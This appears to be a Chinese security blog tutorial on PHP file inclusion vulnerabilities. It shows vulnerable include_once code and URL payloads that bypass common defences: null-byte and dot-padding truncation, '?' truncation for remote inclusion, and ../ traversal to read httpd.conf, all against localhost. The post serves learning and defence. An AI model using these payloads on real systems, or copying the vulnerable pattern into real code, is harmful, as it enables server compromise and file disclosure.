Web安全——文件包含漏洞(一)

前置知识:

文件包含分为本地文件包含和远程文件包含 文件包含源码如下: if(@$_GET['file']){ include_once($_GET['file']); } 可以进行本地文件包含(LFI) 开启allow_url_include后,可以进行远程文件包含(RFI) 本地文件包含: url形如: http://127.0.0.1/fi/include1.php?file=phpinfo.php 远程文件包含: url形如: http://127.0.0.1/fi/include1.php?file=http://127.0.0.1/phpinfo.txt 所包含对象可以是任意文件,执行方式是讲文件内容以php代码来执行

正文

常见防御手段及绕过方式:

if(@$_GET['file']){ include_once($_GET['file'].".php"); }

防御手段:只允许包含.php文件

本地文件包含截断

绕过方式一:%00截断 URL形如:http://127.0.0.1/fi/include2.php?file=phpinfo.txt%00 绕过方式二:…………………………(Windows下文件名长度不大于256个字节,Linux下文件名长度不大于1024字节) URL形如:http://127.0.0.1/fi/include2.php?file=phpinfo.txt…………………………………………………………………………………………………………………………………………………………………………………………………

远程文件包含截断(PHP全版本通杀)

URL形如:http://127.0.0.1/fi/include2.php?file=http://127.0.0.1/fi/phpinfo.txt? 原理:?被解释成url中的querystring,可用来在远程文件包含时截断代码中后面内容。

防御手段:只允许包含指定文件下的文件

if(@$_GET['file']){ include_once("./upload/".$_GET['file']); } 绕过方式:使用../../../跳出目录限制 URL形如:http://127.0.0.1/fi/include3.php?file=../../../apache/conf/httpd.conf

  • Copyrights © 2018-2021 rich4rd
  • Visitors: | Views: